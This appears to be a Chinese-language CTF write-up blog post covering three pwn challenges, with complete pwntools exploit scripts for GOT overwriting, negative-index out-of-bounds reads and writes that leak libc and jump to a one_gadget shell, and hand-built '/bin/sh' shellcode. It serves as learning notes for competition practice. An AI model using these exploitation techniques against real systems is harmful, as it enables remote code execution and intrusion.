HECTF&X1CTF

HECTF&X1CTF

勉强做了几个题,记录一下学到的。

brute_force

ida打开发现只有add,free,edit。直接懵逼。
赛后看了官方wp,学到了两点。

  • 用got表某些指针没有进行符号表定位前的0x40的字节申请从而控制got表.
  • fastbin的size检查实际上只看后4位。
    关于第二点,看了下源码关键逻辑在这儿。
#define chunksize(p) (p & ~(SIZE_BITS))

测试发现sizeof(~0)恒为4,而size_t在64位机上为8,这就是原因。
下面是官方wp,膜肥猫师傅。

from pwn import*
def new():
    p.sendlineafter('choice:','1')
def free():
    p.sendlineafter('choice:','3')
def edit(content):
    p.sendlineafter('choice:','2')
    p.sendafter('note: ',content)
while True:
    p = process('./main')
    p = remote('42.192.180.50',25003)
    try:
        new()
        free()
        edit(p64(0x404028 + 2 - 8))
        new()
        new()
        edit('\x00'*6 + p64(0x4013E4) + p64(0) + '\x07\x42')
        p.sendlineafter('choice:\n','ls')
        data = p.recvline()
        break

    except:
        p.close()
        continue

p.interactive()

Mole

edit和rename中都有int数组下标,可以负数越界读写。
这题学习的是南航的一位大师傅的exp。

from pwn import * 

context.log_level = 'debug'
p = process('./Moles_world')
# p = remote('114.55.165.246', 21001)
elf = ELF('./Moles_world')

libc = elf.libc

def add(index, c):
    p.sendlineafter('| [now] > ', 'G')
    p.sendlineafter('| [lahm\'s index] > ', str(index))
    p.sendlineafter('| [lahm\'s name] > ', c)

def edit(index, c):
    p.sendlineafter('| [now] > ', 'R')
    p.sendlineafter('| [lahm\'s index] > ', str(index))
    p.sendafter('| [lahm\'s name begin ten char] > ', c)

def show(index):
    p.sendlineafter('| [now] > ', 'S')
    p.sendlineafter('| [lahm\'s index] > ', str(index))

def dele(index):
    p.sendlineafter('| [now] > ', 'A')
    p.sendlineafter('| [lahm\'s index] > ', str(index))

gdb.attach(p)

chunk1 = add(0, b'/bin/sh\x00')

show(-12)
p.recvuntil('| [lahm\'s name] > ')

binbase = u64(p.recv(6).ljust(8, b'\x00')) - 0x2020A0
log.success('binbase: ' + hex(binbase))


edit(-12, p64(binbase + 0x202070))

show(-12)
p.recvuntil('| [lahm\'s name] > ')

malloc_got = u64(p.recv(6).ljust(8, b'\x00')) 
log.success('malloc: '+ hex(malloc_got))
libcbase =malloc_got - libc.symbols['malloc']

log.success('libcbase: ' + hex(libcbase))


one = [0x45226, 0x4527a, 0xf0364, 0xf1207]
# one = [0x4f3d5, 0x4f432, 0x10a41c]
one_gadget = libcbase + one[3]
log.success('one_gadget: ' + hex(one_gadget))

edit(-12, p64(one_gadget))
p.sendlineafter('| [now] > ', 'G')
p.sendlineafter('| [lahm\'s index] > ', '3')

p.interactive()

'''
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

'''

大概就是-12处有一个指向自身的指针,十分巧妙。
一开始自己的思路是直接输出got表上的libc地址,想了半天为啥不行。原因是got上是一个libc的地址,实际printf("%s", addr)中addr是libc的地址,rax是got表,输出的是libc地址指向的内容,所以多跳了一级。学到新知识了。

nums

这题比赛中想到nop连接shellcode,但是没想到怎么构造一次4字节的shellcode,直接粘官方wp了。

movabs $0x68732f2f6e69622f,%rbx
	==

	mov bx,0x6873		66 BB 73 68
	shl rbx,16			48 C1 E3 10
	mov bx 0x2f2f		66 BB 2F 2F
	shl rbx,16			48 C1 E3 10
	mov bx,0x6e69		66 BB 69 6E
	shl rbx,16			48 C1 E3 10
	mov bx 0x622f		66 BB 2F 62

只能说挺6的。。

你可能感兴趣的:(ctf)